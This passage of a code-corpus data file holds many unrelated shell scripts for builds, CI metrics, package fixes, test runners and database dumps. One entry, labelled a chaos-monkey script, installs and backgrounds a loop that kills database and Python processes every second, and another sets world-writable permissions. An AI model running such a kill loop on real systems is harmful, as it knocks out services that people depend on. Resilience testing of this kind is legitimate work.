[[ \"$RESPONSE\" != \"yes\" ]] ; then\n error \"The third party library location does not exist.\" \\\n \"Bailing out.\"\n else\n mkdir \"$THIRD_PARTY_PATH\"\n if [[ $? != 0 ]] ; then\n error \"Unable to write files to the third party library location.\" \\\n \"Bailing out.\"\n fi\n fi\n fi\n fi\n\n cd \"$THIRD_PARTY_PATH\"\n if [[ $? != 0 ]] ; then\n error \"Unable to access the third party location. Bailing out.\"\n fi\n fi\n\n if [[ $VISITARCH == \"\" ]] ; then\n C_COMPILER_BASENAME=$(basename ${C_COMPILER})\n CXX_COMPILER_BASENAME=$(basename ${CXX_COMPILER})\n export VISITARCH=${ARCH}_${C_COMPILER_BASENAME}\n if [[ \"$CXX_COMPILER_BASENAME\" == \"g++\" ]] ; then\n VERSION=$(${CXX_COMPILER} -v 2>&1 | grep \"gcc version\" | cut -d' ' -f3 | cut -d'.' -f1-2)\n if [[ ${#VERSION} == 3 ]] ; then\n VISITARCH=${VISITARCH}-${VERSION}\n fi\n elif [[ \"$CXX_COMPILER_BASENAME\" == \"icpc\" ]] ; then\n VERSION=$(${CXX_COMPILER} --version | cut -d' ' -f3 | head -n1)\n VISITARCH=${VISITARCH}-${VERSION}\n fi\n fi\n\n export VISITDIR=${VISITDIR:-$(pwd)}\n cd \"$START_DIR\"\n\n #\n # See if the user wants to build a parallel version.\n #\n check_parallel\n if [[ $? != 0 ]] ; then\n error \"Stopping build because necessary parallel options are not set.\"\n fi\n\n if [[ \"$DO_ICET\" == \"yes\" && \"$PREVENT_ICET\" != \"yes\" ]] ; then\n DO_CMAKE=\"yes\"\n fi\n\n # initialize module variables, since all of VisIt's variables should\n # be set by now..\n initialize_module_variables\n\n #\n # Disable qt,qwt if it is not needed\n #\n if [[ \"$DO_ENGINE_ONLY\" == \"yes\" || \"$DO_DBIO_ONLY\" == \"yes\" || \"$DO_SERVER_COMPONENTS_ONLY\" == \"yes\" ]] ; then\n if [[ \"$DO_ENGINE_ONLY\" == \"yes\" ]] ; then\n info \"disabling qt, qwt because --engine-only used\"\n elif [[ \"$DO_DBIO_ONLY\" == \"yes\" ]] ; then\n info \"disabling qt, qwt because --dbio-only used\"\n elif [[ \"$DO_SERVER_COMPONENTS_ONLY\" == \"yes\" ]] ; then\n info \"disabling qt, qwt because --server-components-only used\"\n fi\n bv_qt_disable\n bv_qwt_disable\n fi\n\n #\n # Later we will build Qt. We are going to bypass their licensing agreement,\n # so echo it here.\n #\n if [[ \"$USE_SYSTEM_QT\" != \"yes\" && \"$DO_QT\" == \"yes\" ]]; then\n BYPASS_QT_LICENSE=\"no\"\n check_if_installed \"qt\" $QT_VERSION\n if [[ $? == 0 ]] ; then\n BYPASS_QT_LICENSE=\"yes\"\n fi\n\n if [[ \"$BYPASS_QT_LICENSE\" == \"no\" && \"$DOWNLOAD_ONLY\" == \"no\" ]] ; then\n qt_license_prompt\n if [[ $? != 0 ]] ;then\n error \"Qt4 Open Source Edition License Declined. Bailing out.\"\n fi\n fi\n fi\n\n #\n # Save stdout as stream 3, redirect stdout and stderr to the log file.\n # After this maks sure to use the info/warn/error functions to display\n # messages to the user\n #\n\n if [[ \"${LOG_FILE}\" != \"/dev/tty\" ]] ; then\n exec 3>&1 >> ${LOG_FILE} 2>&1\n REDIRECT_ACTIVE=\"yes\"\n else\n exec 2>&1\n fi\n\n #\n #\n # Now make sure that we have everything we need to build VisIt, so we can bail\n # out early if we are headed for failure.\n #\n check_files\n if [[ $? != 0 ]] ; then\n error \"Stopping build because necessary files aren't available.\"\n fi\n\n #\n # Exit if we were told to only download the files.\n #\n if [[ \"$DOWNLOAD_ONLY\" == \"yes\" ]] ; then\n info \"Successfully downloaded the specified files.\"\n exit 0\n fi\n\n if [[ $DO_MANGLED_LIBRARIES == \"yes\" ]]; then\n info \"Mangling libraries while building\"\n info \"Any libraries that support mangling will do so\"\n fi\n\n if [[ \"$DO_SUPER_BUILD\" == \"yes\" ]]; then\n build_libraries_parallel\n else\n build_libraries_serial\n fi\n\n #\n # Create the host.conf file\n #\n\n if [[ \"$DO_HOSTCONF\" == \"yes\" ]] ; then\n info \"Creating host.conf\"\n build_hostconf\n fi\n\n #build visit itself..\n bv_visit_build\n}"} {"text": "<filename>tests/misc/typecheck.sh\n#!/bin/bash\n\n# run tests with no retries\n# this should expose, for example, the problem i'm seeing with\n# 130-fmri failing once on my mac\n\nexport CF=swift.properties.no-retries\n\ncd ../language-behaviour\n\nswift -tc.file ./tc.data -typecheck 061-cattwo.swift\nif [ \"$?\" -ne \"0\" ]; then echo \"SWIFT RETURN CODE NON-ZERO\"; exit 1; fi\n\n\nswift -tc.file ./tc.data -typecheck 130-fmri.swift\nif [ \"$?\" -ne \"0\" ]; then echo \"SWIFT RETURN CODE NON-ZERO\"; exit 1; fi"} {"text": "#!/bin/bash\n\nsource \"install/common.sh\"\n\nif [ -z \"$install_dir\" ] || [ ! -d \"$install_dir\" ]; then\n echo \"Install directory does not exist.\"\n exit 1\nfi\n\nfor filename in ${script_manifest[@]}; do\n rm -i \"$install_dir/$filename\"\ndone\n\nfor filename in ${provides[@]}; do\n rm -i \"$bin_dir/$filename\"\ndone\n\nrmdir $install_dir"} {"text": "#! /bin/sh\n# simple help script for WMFS2 by arpinux\n# default keybinds list\n\nxpos=\"5\"\nypos=\"5\"\nwidth=\"350\"\nheight=\"730\"\nbg=\"#222222\"\nfg=\"#7D7D7D\"\nl01=\"^s[80;12;$bg;WMFS² Keybinds Help]\"\nl03=\"^s[15;35;$fg;launch terminal:]^s[190;35;$fg;Super + Return]\"\nl04=\"^s[15;50;$fg;launch prompt:]^s[190;50;$fg;Super + p]\"\nl05=\"^s[15;65;$fg;close client:]^s[190;65;$fg;Super + q]\"\nl06=\"^s[15;80;$fg;reload wmfs:]^s[190;80;$fg;Control + Alt + r]\"\nl07=\"^s[15;95;$fg;quit wmfs:]^s[190;95;$fg;Control + Alt + q]\"\n\nl08=\"^s[15;115;$fg;next client:]^s[190;115;$fg;Alt + Tab]\"\nl09=\"^s[15;130;$fg;prev client:]^s[190;130;$fg;Alt + Shift + Tab]\"\nl10=\"^s[15;145;$fg;next tabbed client:]^s[190;145;$fg;Super + Tab]\"\nl11=\"^s[15;160;$fg;prev tabbed client:]^s[190;160;$fg;Super + Shift + Tab]\"\nl12=\"^s[15;175;$fg;left client:]^s[190;175;$fg;Alt + h]\"\nl13=\"^s[15;190;$fg;right client:]^s[190;190;$fg;Alt + l]\"\nl14=\"^s[15;205;$fg;top client:]^s[190;205;$fg;Alt + k]\"\nl15=\"^s[15;220;$fg;bottom client:]^s[190;220;$fg;Alt + j]\"\nl16=\"^s[15;235;$fg;swap client left:]^s[190;235;$fg;Control + Shift + h]\"\nl17=\"^s[15;250;$fg;swap client right:]^s[190;250;$fg;Control + Shift + l]\"\nl18=\"^s[15;265;$fg;swap client top:]^s[190;265;$fg;Control + Shift + k]\"\nl19=\"^s[15;280;$fg;swap client bottom:]^s[190;280;$fg;Control + Shift + j]\"\nl20=\"^s[15;295;$fg;tab client left:]^s[190;295;$fg;Alt + Shift + h]\"\nl21=\"^s[15;310;$fg;tab client right:]^s[190;310;$fg;Alt + Shift + l]\"\nl22=\"^s[15;325;$fg;tab client top:]^s[190;325;$fg;Alt + Shift + k]\"\nl23=\"^s[15;340;$fg;tab client bottom:]^s[190;340;$fg;Alt + Shift + j]\"\nl24=\"^s[15;355;$fg;untab client:]^s[190;355;$fg;Alt + Shift + u]\"\n\nl25=\"^s[15;375;$fg;increase client on left:]^s[190;375;$fg;Super + h]\"\nl26=\"^s[15;390;$fg;decrease client from left:]^s[190;390;$fg;Super + l]\"\nl27=\"^s[15;405;$fg;increase client on top:]^s[190;405;$fg;Super + k]\"\nl28=\"^s[15;420;$fg;decrease client from top:]^s[190;420;$fg;Super + j]\"\nl29=\"^s[15;435;$fg;decrease client from right:]^s[190;435;$fg;Super + Control + h]\"\nl30=\"^s[15;450;$fg;increase client on right:]^s[190;450;$fg;Super + Control + l]\"\nl31=\"^s[15;465;$fg;decrease client from bottom:]^s[190;465;$fg;Super + Control + k]\"\nl32=\"^s[15;480;$fg;increase client to bottom:]^s[190;480;$fg;Super + Control + j]\"\nl33=\"^s[15;495;$fg;integrate client to left:]^s[190;495;$fg;Super + Control + Alt + h]\"\nl34=\"^s[15;510;$fg;integrate client to right:]^s[190;510;$fg;Super + Control + Alt + l]\"\nl35=\"^s[15;525;$fg;integrate client to top:]^s[190;525;$fg;Super + Control + Alt + k]\"\nl36=\"^s[15;540;$fg;integrate client to bottom:]^s[190;540;$fg;Super + Control + Alt + j]\"\n\nl37=\"^s[15;560;$fg;horizontal layout:]^s[190;560;$fg;Super + Shift + m]\"\nl38=\"^s[15;575;$fg;vertical layout:]^s[190;575;$fg;Super + m]\"\nl39=\"^s[15;590;$fg;layout rotate right:]^s[190;590;$fg;Super + r]\"\nl40=\"^s[15;605;$fg;layout rotate left:]^s[190;605;$fg;Super + Shift + r]\"\nl41=\"^s[15;620;$fg;toggle client free:]^s[190;620;$fg;Super + f]\"\n\nl42=\"^s[15;640;$fg;prev/next tag:]^s[190;640;$fg;Control + Left/Right]\"\nl43=\"^s[15;655;$fg;prev/next screen:]^s[190;655;$fg;Control + Up/Down]\"\nl44=\"^s[15;670;$fg;set tag (x):]^s[190;670;$fg;Super + F(x)]\"\nl45=\"^s[15;685;$fg;tag client with (x):]^s[190;685;$fg;Super + Shift + F(x)]\"\nl46=\"^s[15;700;$fg;add tag:]^s[190;700;$fg;Super + Shift + -]\"\nl47=\"^s[15;715;$fg;delete tag:]^s[190;715;$fg;Super + -]\"\n\nframe=\"^R[0;0;350;15;$fg] ^R[0;728;350;2;$fg] ^R[0;0;2;730;$fg] ^R[348;0;2;730;$fg]\"\n\nwmfs -c status_surface \"$xpos,$ypos,$width,$height,$bg $frame $l01 $l03 $l04 $l05 $l06 $l07 $l08 $l09 $l10 $l11 $l12 $l13 $l14 $l15 $l16 $l17 $l18 $l19 $l20 $l21 $l22 $l23 $l24 $l25 $l26 $l27 $l28 $l29 $l30 $l31 $l32 $l33 $l34 $l35 $l36 $l37 $l38 $l39 $l40 $l41 $l42 $l43 $l44 $l45 $l46 $l47\""} {"text": "<reponame>pep-pig/grafana\n#!/bin/bash\nset -e\n\nERROR_COUNT=\"$(yarn run tsc --project tsconfig.json --noEmit --strict true | grep -oP 'Found \\K(\\d+)')\"\nACCESSIBILITY_ERRORS=\"$(grep -oP '\\\"errors\\\":(\\d+),' pa11y-ci-results.json | grep -oP '\\d+')\"\nDIRECTIVES=\"$(grep -r -o directive public/app/ | wc -l)\"\nCONTROLLERS=\"$(grep -r -oP 'class .*Ctrl' public/app/ | wc -l)\"\nSTORIES_COUNT=\"$(find ./packages/grafana-ui/src/components -name \"*.story.tsx\" | wc -l)\"\nMDX_COUNT=\"$(find ./packages/grafana-ui/src/components -name \"*.mdx\" | wc -l)\"\nLEGACY_FORMS=\"$(grep -r -oP 'LegacyForms;' public/app | wc -l)\"\n\nSTRICT_LINT_RESULTS=\"$(yarn run eslint --rule '@typescript-eslint/no-explicit-any: [\"error\"]' --format unix --ext .ts,.tsx ./public || true)\"\nSTRICT_LINT_EXPLICIT_ANY=\"$(echo \"${STRICT_LINT_RESULTS}\" | grep -o \"no-explicit-any\" | wc -l)\"\n\nTOTAL_BUNDLE=\"$(du -sk ./public/build | cut -f1)\"\nOUTDATED_DEPENDENCIES=\"$(yarn outdated --all | grep -oP '[[:digit:]]+ *(?= dependencies are out of date)')\"\nVULNERABILITY_AUDIT=\"$(yarn npm audit --all --recursive --json)\"\nLOW_VULNERABILITIES=\"$(echo \"${VULNERABILITY_AUDIT}\" | grep -o -i '\"severity\":\"low\"' | wc -l)\"\nMED_VULNERABILITIES=\"$(echo \"${VULNERABILITY_AUDIT}\" | grep -o -i '\"severity\":\"moderate\"' | wc -l)\"\nHIGH_VULNERABILITIES=\"$(echo \"${VULNERABILITY_AUDIT}\" | grep -o -i '\"severity\":\"high\"' | wc -l)\"\nCRITICAL_VULNERABILITIES=\"$(echo \"${VULNERABILITY_AUDIT}\" | grep -o -i '\"severity\":\"critical\"' | wc -l)\"\n\necho -e \"Typescript errors: $ERROR_COUNT\"\necho -e \"Accessibility errors: $ACCESSIBILITY_ERRORS\"\necho -e \"Directives: $DIRECTIVES\"\necho -e \"Controllers: $CONTROLLERS\"\necho -e \"Stories: $STORIES_COUNT\"\necho -e \"Documented stories: $MDX_COUNT\"\necho -e \"Legacy forms: $LEGACY_FORMS\"\necho -e \"TS Explicit any: $STRICT_LINT_EXPLICIT_ANY\"\necho -e \"Total bundle folder size: $TOTAL_BUNDLE\"\necho -e \"Total outdated dependencies: $OUTDATED_DEPENDENCIES\"\necho -e \"Low vulnerabilities: $LOW_VULNERABILITIES\"\necho -e \"Med vulnerabilities: $MED_VULNERABILITIES\"\necho -e \"High vulnerabilities: $HIGH_VULNERABILITIES\"\necho -e \"Critical vulnerabilities: $CRITICAL_VULNERABILITIES\"\n\necho \"Metrics: {\n \\\"grafana.ci-code.strictErrors\\\": \\\"${ERROR_COUNT}\\\",\n \\\"grafana.ci-code.accessibilityErrors\\\": \\\"${ACCESSIBILITY_ERRORS}\\\",\n \\\"grafana.ci-code.directives\\\": \\\"${DIRECTIVES}\\\",\n \\\"grafana.ci-code.controllers\\\": \\\"${CONTROLLERS}\\\",\n \\\"grafana.ci-code.grafana-ui.stories\\\": \\\"${STORIES_COUNT}\\\",\n \\\"grafana.ci-code.grafana-ui.mdx\\\": \\\"${MDX_COUNT}\\\",\n \\\"grafana.ci-code.legacyForms\\\": \\\"${LEGACY_FORMS}\\\",\n \\\"grafana.ci-code.strictLint.noExplicitAny\\\": \\\"${STRICT_LINT_EXPLICIT_ANY}\\\",\n \\\"grafana.ci-code.bundleFolderSize\\\": \\\"${TOTAL_BUNDLE}\\\",\n \\\"grafana.ci-code.dependencies.outdated\\\": \\\"${OUTDATED_DEPENDENCIES}\\\",\n \\\"grafana.ci-code.dependencies.vulnerabilities.low\\\": \\\"${LOW_VULNERABILITIES}\\\",\n \\\"grafana.ci-code.dependencies.vulnerabilities.medium\\\": \\\"${MED_VULNERABILITIES}\\\",\n \\\"grafana.ci-code.dependencies.vulnerabilities.high\\\": \\\"${HIGH_VULNERABILITIES}\\\",\n \\\"grafana.ci-code.dependencies.vulnerabilities.critical\\\": \\\"${CRITICAL_VULNERABILITIES}\\\"\n}\""} {"text": "#!/bin/bash\nCUSTOMER=$1\n\ncp -f *.css /customer/\n\n./paint.sh $LOOP $CUSTOMER $GROUPMARKER\n\nexit"} {"text": "#!/usr/bin/env bash\n\n# This script is mostly so we can test the test script for a standalone server.\n# <storage file> is the sqlite3 database for the log.\n# <certificate hash directory> contains the OpenSSL hashes for the\n# accepted root certs.\n\nset -e\n\nif [ \"$OPENSSLDIR\" != \"\" ]; then\n MY_OPENSSL=\"$OPENSSLDIR/apps/openssl\"\n export LD_LIBRARY_PATH=$OPENSSLDIR:$LD_LIBRARY_PATH\nfi\n\nif [ ! $MY_OPENSSL ]; then\n# Try to use the system OpenSSL\n MY_OPENSSL=openssl\nfi\n\nif [ $# -lt 1 ]\nthen\n echo \"$0 <storage file>\"\n exit 1\nfi\n\nSTORAGE=$1\nKEY=\"testdata/ct-server-key.pem\"\nshift 1\n\n# if [ ! -e $HASH_DIR ]\n# then\n# echo \"$HASH_DIR doesn't exist, creating\"\n# mkdir $HASH_DIR\n# CERT=\"`pwd`/testdata/ca-cert.pem\"\n# hash=`$MY_OPENSSL x509 -in $CERT -hash -noout`\n# ln -s $CERT $HASH_DIR/$hash.0\n# fi\n\nexport TSAN_OPTIONS=${TSAN_OPTIONS:-log_path=tsan_log suppressions=../cpp/tsan_suppressions external_symbolizer_path=/usr/bin/llvm-symbolizer-3.4}\n\n../cpp/server/xjson-server --port=8888 --key=$KEY \\\n --logtostderr=true \\\n --guard_window_seconds=5 \\\n --tree_signing_frequency_seconds=10 --leveldb_db=$STORAGE \\\n $*"} {"text": "#!/usr/bin/env bash\n\n# List all docker containers, images volumes e networks\ndocker ps -a\ndocker images -a\ndocker volume list\ndocker network list"} {"text": "#!/bin/bash -eu\n\nreadonly GIT_BASE_URI='<EMAIL>:mazgi-showcase/2019.04.built-noops-blog-with-github-circleci-s3.example-content.git'\nREMOTE_EDEN=$(git remote -v | grep \"${GIT_BASE_URI} (fetch)\" | awk '{ print $1 }')\nreadonly REMOTE_ORIGIN=$(git remote -v | grep '(fetch)' | grep -vE \"^${REMOTE_EDEN:-\\:}\\s+\" | awk '{ print $1 }')\nreadonly SCRIPT_DIRECTORY=$(cd $(dirname ${BASH_SOURCE:-$0}); pwd)\n\nif [[ -z $REMOTE_EDEN ]]; then\n REMOTE_EDEN='eden'\n git remote add $REMOTE_EDEN $GIT_BASE_URI\nfi\n\ngit fetch $REMOTE_EDEN --prune \\\n && git merge --ff-only $REMOTE_EDEN/master \\\n && git push $REMOTE_ORIGIN master"} {"text": "<reponame>guitaristtom/WiiHacks-Bot\n#!/usr/bin/env bash\n\n# Checks if the file is present. If it is, copy it\nif [ ! -e \"/config/.env.local\" ]; then\n echo \"Copying a blank local env file to config\"\n\n # Copy the file over to the config directory\n cp \"./.env.local.example\" \"/config/.env.local\"\nfi\n\n# Fix permission issues\necho \"Fixing potential config file permission issues\"\nchown -R 99:100 \"/config\"\nchmod -R 777 \"/config\"\n\n# Symbolic link the config folder files\nif [ ! -e \"./.env.local\" ]; then\n echo \"Linking the config files to the current directory\"\n\n # Copy the file over to the config directory\n ln -s \"/config/.env.local\" \"./.env.local\"\nfi\n\n# Then finally start the bot\npython bot"} {"text": "#!/bin/bash\n\n# Make sure this file does not have read/write/exec permission for everyone.\n\ncert_hostname=www.example.com\nftp_hostname=ftp.example.com\nftp_username=\"EXAMPLE LOGIN\"\nftp_password=\"<PASSWORD>\""} {"text": "<gh_stars>0\n#!/bin/bash\n## Atualizar a cache do APT para começar##\n\nsudo apt update\n\n## A fazer o download dos ficheiros ##\n\nmkdir dltmp\ncd dltmp\nwget -c https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb\nwget -c https://dl.discordapp.net/apps/linux/0.0.9/discord-0.0.9.deb\nwget -c https://repo.skype.com/latest/skypeforlinux-64.deb\nwget -c https://files.multimc.org/downloads/multimc_1.3-1.deb\nwget -c https://dl.teamviewer.com/download/linux/version_14x/teamviewer_14.6.2452_amd64.deb\nwget -c http://repo.steampowered.com/steam/archive/precise/steam_latest.deb\n\n## Adicionar Repositórios PPA ##\n\nsudo add-apt-repository ppa:graphics-drivers/ppa -y\nsudo add-apt-repository ppa:ppsspp/stable -y\nsudo add-apt-repository ppa:gregory-hainaut/pcsx2.official.ppa -y\nsudo add-apt-repository ppa:libreoffice/ppa -y\nsudo add-apt-repository ppa:daniruiz/flat-remix -y\nsudo add-apt-repository ppa:nilarimogard/webupd8 -y\n\n## Atualizar cache do APT depois de adicionar os ppa's ##\n\nsudo apt update\n\n## Instalar Pacotes ##\n\nsudo dpkg -i *.deb\nsudo apt -f install -y\nsudo apt install audacity vlc minecraft filezilla nemo obs-studio gimp gparted virtualbox-qt htop ubuntu-restricted-extras synaptic gnome-tweaks brasero libglib2.0-dev-bin imagemagick flat-remix-gnome flat-remix flat-remix-gtk breeze-cursor-theme handbreak neofetch youtube-dlg -y\nsudo snap install photogimp\n\n## Remover Pacotes desnecessários ##\n\nsudo apt remove remmina thunderbird firefox rhythmbox -y\nsudo apt autoremove\n\n## Definir Tema Gnome-Shell ##\n\ngsettings set org.gnome.shell.extensions.user-theme name \"Flat-Remix\"\n\n## Definir Tema de ícones ##\n\ngsettings set org.gnome.desktop.interface icon-theme \"Flat-Remix-Blue\"\n\n## Definir Tema GTK ##\n\ngsettings set org.gnome.desktop.interface gtk-theme \"Flat-Remix-GTK-Blue\"\n\n## Fim ##\n\necho O Script chegou ao fim"} {"text": "#!/bin/sh\n\n# Copyright (c) 2021-present radien GmbH. All rights reserved.\n# <p>\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# <p>\n# http://www.apache.org/licenses/LICENSE-2.0\n# <p>\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.Ku\n\n#to run this shell script you need jq (is a lightweight and flexible command-line JSON processor)\n# you can find jq at https://github.com/stedolan/jq\n# its available in package manager like brew (https://brew.sh/)\nif ! command -v jq &> /dev/null\nthen\n echo \"to run this shell script you need jq (is a lightweight and flexible command-line JSON processor)\"\n echo \"you can find jq at https://github.com/stedolan/jq\"\n echo \"its available in package manager like brew (https://brew.sh/)\"\n echo \"so if you have brew installed you can install jq with 'brew install jq'\"\n exit\nfi\n\nACCESS_TOKEN=$(curl -L -X POST $KEYCLOAK_IDP_URL$REALMS_TOKEN_PATH \\\n-H 'Content-Type: application/x-www-form-urlencoded' \\\n--data-urlencode $SCRIPT_CLIENT_ID=$SCRIPT_CLIENT_ID_VALUE \\\n--data-urlencode $SCRIPT_CLIENT_SECRET=$SCRIPT_CLIENT_SECRET_VALUE \\\n--data-urlencode $SCRIPT_REDIRECT_URL=$SCRIPT_REDIRECT_URL_VALUE \\\n--data-urlencode $SCRIPT_GRANT_TYPE=$SCRIPT_GRANT_TYPE_VALUE \\\n--data-urlencode $SCRIPT_USERNAME=$SCRIPT_USERNAME_VALUE \\\n--data-urlencode $SCRIPT_PASSWORD=$SCRIPT_PASSWORD_VALUE | jq -r '.access_token')"} {"text": "<filename>recipe/build.sh\n#!/bin/bash\n\nmake -j${CPU_COUNT} src.lib CUDA_HOME=\"${CUDA_HOME}\" CUDARTLIB=\"cudart\"\nmake install PREFIX=\"${PREFIX}\""} {"text": "<gh_stars>1-10\n#!/bin/bash\n#SBATCH --partition=ecsall\n#SBATCH --account=ecsstaff\n#SBATCH --nodes=1\n#SBATCH --ntasks-per-node=8\n#SBATCH --gres=gpu:4\n#SBATCH --time=120:00:00\n#SBATCH --job-name=tune\n#SBATCH --output=/home/jlc1n20/projects/cluster_gnn/log/%x-%j.out\n#SBATCH --gres-flags=enforce-binding\n\n# setting up environment\nsource activate ptg\n\nexport NCCL_IB_DISABLE=1\nexport NCCL_DEBUG=INFO\nexport PYTHONFAULTHANDLER=1\n\n# filesystem\nprojdir=$HOME/projects/cluster_gnn\nprogfile=$projdir/scripts/tune.py\n\n# execution\npython $progfile"} {"text": "#!/bin/sh\n# CYBERWATCH SAS - 2017\n#\n# Security fix for CESA-2009:1100\n#\n# Security announcement date: 2009-06-19 11:00:15 UTC\n# Script generation date: 2017-01-01 21:09:59 UTC\n#\n# Operating System: CentOS 5\n# Architecture: x86_64\n#\n# Vulnerable packages fix on version:\n# - wireshark.x86_64:1.0.8-1.el5_3.1\n# - wireshark-gnome.x86_64:1.0.8-1.el5_3.1\n#\n# Last versions recommanded by security team:\n# - wireshark.x86_64:1.0.15-7.el5_11\n# - wireshark-gnome.x86_64:1.0.15-7.el5_11\n#\n# CVE List:\n# - CVE-2009-1210\n# - CVE-2009-1268\n# - CVE-2009-1269\n# - CVE-2009-1829\n#\n# More details:\n# - https://www.cyberwatch.fr/vulnerabilites\n#\n# Licence: Released under The MIT License (MIT), See LICENSE FILE\nsudo yum install wireshark.x86_64-1.0.15 -y \nsudo yum install wireshark-gnome.x86_64-1.0.15 -y"} {"text": "#!/bin/bash\n\ngunicorn -w $WSGI_WORKERS -b 0.0.0.0:$WSGI_PORT --chdir $PROJECT_ROOT/src settings.wsgi --timeout $WSGI_TIMEOUT"} {"text": "<reponame>jfuentess/sea2015\n#!bin/bash\n\n# ToDo: Check queries for -DARCH64\n\nDEFS_SEQ=\"-std=gnu99 -ffast-math -DNOPARALLEL -DEXTRA\"\nDEFS_PAR=\"-std=gnu99 -ffast-math -DEXTRA\"\nDEFS_MEM=\"-std=gnu99 -ffast-math -DNOPARALLEL -DEXTRA -DMALLOC_COUNT\"\n\ngcc -O2 -c bit_array.c\n\necho \"Compiling sequential algorithm ...\"\ngcc -O2 -o st_seq $DEFS_SEQ main.c util.c bit_array.o succinct_tree.c lookup_tables.c -lrt -lm\n\necho \"Compiling parallel algorithm ...\"\ngcc -O2 -o st_par $DEFS_PAR main.c util.c bit_array.o succinct_tree.c lookup_tables.c -fcilkplus -lcilkrts -lrt -lm \n\necho \"Compiling sequential algorithm (Working space) ...\"\ngcc -c malloc_count.c\ngcc -O2 -std=gnu99 -o st_mem $DEFS_MEM main.c util.c bit_array.o malloc_count.o \\\nsuccinct_tree.c lookup_tables.c -lrt -lm -ldl"} {"text": "<reponame>fultonj/victoria<gh_stars>0\n#!/bin/bash\nopenstack overcloud delete overcloud --yes"} {"text": "<gh_stars>1-10\n#!/bin/bash\n# Script for KillProcesses Chaos Monkey\n\ncat << EOF > /tmp/kill_loop_db.sh\n#!/bin/bash\nwhile true;\ndo\n pkill -KILL -f mysqld\n pkill -KILL -f mysql\n pkill -KILL -f postmaster\n pkill -KILL -f postgres\n pkill -KILL -f redis-server\n pkill -KILL -f redis-cli\n pkill -KILL -f mongod\n pkill -KILL -f mongo\n pkill -KILL -f python\n pkill -KILL -f crsd.bin\n pkill -KILL -f tnslsnrjava\n sleep 1\ndone\nEOF\n\nnohup /bin/bash /tmp/kill_loop_db.sh >/dev/null 2>&1 &"} {"text": "#!/bin/bash\nfunction fail {\n echo FAIL: $@\n exit -1\n}\n\necho $PWD\nexport DGLBACKEND=pytorch\nexport DGL_LIBRARY_PATH=${PWD}/build\nexport PYTHONPATH=${PWD}/tests:${PWD}/python:$PYTHONPATH\nexport LD_LIBRARY_PATH=${PWD}/build:$LD_LIBRARY_PATH\nexport DIST_DGL_TEST_CPP_BIN_DIR=${PWD}/build\nexport DIST_DGL_TEST_IP_CONFIG=/home/ubuntu/workspace/ip_config.txt\nexport DIST_DGL_TEST_PY_BIN_DIR=${PWD}/tests/dist/python\n\nif [[ -v DIST_DGL_TEST_SSH_PORT ]]; then\n SSH_PORT_LINE=\"-p $DIST_DGL_TEST_SSH_PORT\";\nfi\n\nif [[ -v DIST_DGL_TEST_SSH_KEY ]]; then\n SSH_KEY_LINE=\"-i $DIST_DGL_TEST_SSH_KEY\";\nfi\n\nif [[ -v DIST_DGL_TEST_SSH_SETUP ]]; then\n SSH_SETUP_LINE=\"$DIST_DGL_TEST_SSH_SETUP;\";\nfi\n\n\nwhile IFS= read line\ndo\n for pkg in 'pytest' 'psutil' 'torch'\n do\n ret_pkg=$(ssh -o StrictHostKeyChecking=no ${line} ${SSH_PORT_LINE} ${SSH_KEY_LINE} \"${SSH_SETUP_LINE}python3 -m pip list | grep -i ${pkg} \") || fail \"${pkg} not installed in ${line}\"\n done\ndone < ${DIST_DGL_TEST_IP_CONFIG}\n\npython3 -m pytest -v --capture=tee-sys --junitxml=pytest_dist.xml tests/dist/test_*.py || fail \"dist across machines\""} {"text": "<reponame>jsmentch/TheWay<filename>scripts/generic/rerun_failures.sh<gh_stars>1-10\n#!/bin/bash\n\n# From an analysis directory, find stderr files that\n# dont contain UCCESS. Run from analysis/\n\nfails=$(grep -L \"UCCESS\" logs/*.e*)\nnfails=$(echo $fails | wc -w )\n\necho found $nfails unsuccessful runs\n\nsubjects=$(echo $fails | tr \" \" \"\\n\" | \\\n sed 's/.*sub-\\([A-Za-z0-9][A-Za-z0-9]*\\)\\.e.*/sub-\\1/')\n\n\n>code/qsub_calls2.sh\nfor subject in $subjects\ndo\n grep $subject code/qsub_calls.sh >> code/qsub_calls2.sh\ndone"} {"text": "#!/bin/bash -x\n\nexport OSPARC_API_KEY=\"\"\nexport OSPARC_API_SECRET=\"\"\nexport OSPARC_TEST_MODE=false\n\npython3 ./manual-job-starter.py"} {"text": "#!/bin/bash\n\ncmake -B build -G Ninja \\\n-DCMAKE_PREFIX_PATH=/usr/local/opt/qt@5 \\\n-DCMAKE_EXPORT_COMPILE_COMMANDS=ON \\\n-DCMAKE_BUILD_TYPE=Debug"} {"text": "<gh_stars>1-10\n#from root for mac/linux (bash):\n# sh ./utils/run_app.sh\n\n# load a virtualenv\npipenv --rm\npip install --user pipenv\n\n# ensure dependencies downloaded\npipenv install -r requirements.txt --python 3.7.7\n\n# run app\npipenv run flask run"} {"text": "<filename>{{cookiecutter.project_slug}}/update_from_production.sh\n#!/bin/bash\nset -e\necho \"Dump production DB\" && \\\neval $(docker-machine env node1) && \\\n docker-compose exec postgres pg_dump -U {{ cookiecutter.project_slug }} -d {{ cookiecutter.project_slug }} -w > {{ cookiecutter.project_slug }}/dumps/production.dump && \\\n echo \"Done\" && \\\n\necho \"Commit\" && \\\n git commit {{ cookiecutter.project_slug }}/dumps/production.dump -m \"Update production DB dump\" && \\\n echo \"Done\" #&& \\\n\necho \"Push\" && \\\n git push && \\\n echo \"Done\"\n\necho \"Load production data to local instance\" && \\\nread -r -p \"Are you sure? [y/N] \" response\nif [[ $response =~ ^([yY][eE][sS]|[yY])$ ]]\nthen\n eval $(docker-machine env default) && \\\n docker-compose -f dev.yml stop && \\\n docker-compose -f dev.yml run --rm django ./manage.py reset_db --noinput && \\\n docker exec -i {{ cookiecutter.project_slug }}_postgres_1 psql -U {{ cookiecutter.project_slug }} -d {{ cookiecutter.project_slug }} -w < {{ cookiecutter.project_slug }}/dumps/production.dump && \\\n docker-compose -f dev.yml run --rm django ./manage.py loaddata {{ cookiecutter.project_slug }}/fixtures/wagtail_sites.json && \\\n docker-compose -f dev.yml up -d && \\\n echo \"Done\"\nfi\n\necho \"Sync amazon S3 with local media files\" && \\\nread -r -p \"Are you sure? [y/N] \" response\nif [[ $response =~ 